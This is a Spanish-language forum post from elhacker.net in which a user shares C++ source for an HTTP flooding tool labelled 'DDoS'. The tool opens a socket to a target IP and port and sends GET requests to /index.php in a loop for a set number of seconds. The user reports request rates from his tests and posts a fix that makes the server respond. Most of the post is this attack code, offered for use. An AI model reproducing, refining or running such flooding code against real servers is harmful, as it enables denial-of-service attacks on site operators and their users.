Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Kaxperday en 13 Octubre 2014, 12:57 pm



Título: Ayuda con programa DDoS
Publicado por: Kaxperday en 13 Octubre 2014, 12:57 pm
Edito: El primer programa hacia 65608 envíos y uno solo fallido en 5 segundos, el segundo 876210 ninguno fallido en 3 segundos, ahora creo haber encontrado el coherente.

Los anteriores eran rechazados por el servidor carentes de sentido enviaban cadenas como "\0" o basura.

Ahora este DDOS genera respuesta del servidor 2900 en 3,5 segundos con respuesta todos ellos.

Código:

Código
  1.  
  2. ///Lo bueno seria con procesos hijo.
  3. #include <windows.h>
  4. #include <iostream>
  5. #include <cstdio>
  6. #include <fstream>
  7. #include <cstring>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <stdint.h>
  12. #include <process.h>
  13. #include <signal.h>
  14. #include <time.h>
  15.  
  16. #pragma comment (lib, "Ws2_32.lib")
  17. using namespace std;
  18.  
  19. int make_socket(char *ip, int puerto)
  20. {
  21. WSADATA wsa;
  22. struct sockaddr_in dir;
  23. int sock;
  24.  
  25. WSAStartup(MAKEWORD(2, 0), &wsa);
  26. if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  27. {
  28. closesocket(sock);
  29. printf("error makesocket"); exit(1);
  30. }
  31. else
  32. {
  33. dir.sin_family = AF_INET;
  34. dir.sin_port = htons(puerto);
  35. dir.sin_addr.s_addr = inet_addr(ip);
  36.  
  37. if (connect(sock, (struct sockaddr*)&dir, sizeof(dir)) == -1)
  38. {
  39. printf("error conectar socket"); system("pause");
  40. }
  41. }
  42. return sock;
  43. }
  44.  
  45. void attack(char *ip, int puerto, int tiempo)
  46. {
  47. char basura[4096];
  48. int sock,error=0,exito=0;
  49. clock_t hola, adios;
  50. char resp[500];
  51. tiempo = tiempo * 1000;
  52. strcpy_s(basura, "GET /index.php");//atacamos el index
  53. strcat_s(basura, "Host: host.com\r\n");//de este host
  54. strcat_s(basura, "Content-type: application/x-www-form-urlencoded\r\n");
  55. strcat_s(basura, "\r\n\r\n");
  56. int len=strlen(basura);
  57. sock = make_socket(ip, puerto);
  58. hola = clock();
  59. while (1)
  60. {
  61. adios = clock();
  62. if ((adios - hola) >= tiempo)
  63. {
  64. break;
  65. }
  66.  
  67. if (send(sock, basura, len, 0) == -1)
  68. {
  69. error++;
  70. printf("ha fallado el numero %d", exito + error);
  71. sock = make_socket(ip, puerto);
  72. }
  73. else
  74. {
  75. printf("recibiendo...");
  76. exito++;
  77. }
  78. }
  79. printf("Paquetes enviados: %d\n", exito + error);
  80. printf("ENVIADOS: %d\n", exito);
  81. printf("FALLADOS: %d\n\n", error);
  82. }
  83.  
  84. int main()
  85. {
  86. clock_t hola, adios;
  87. hola = clock();
  88. attack("56.670.633.080", 80, 3); //(segundos de ataque)
  89. adios = clock();
  90. printf("ha tardado %d", adios - hola);
  91. return 0;
  92. }

jajaja jdr me acaba de cascar el ordenador al probar esto OMG jajaja

Creo que era por esto:

Código
  1. strcpy_s(basura, "GET /index.php HTTP/1.1\r\n");//atacamos el index

Buf lo he vuelto a probar y casi casca otra vez 641768 envios en 13 seg.

Si al código le pongo recv(..) me envia el codigo fuente de la pagina, lo que pasa que es un descontrol de programa lo estoy probando con pause.

Saludos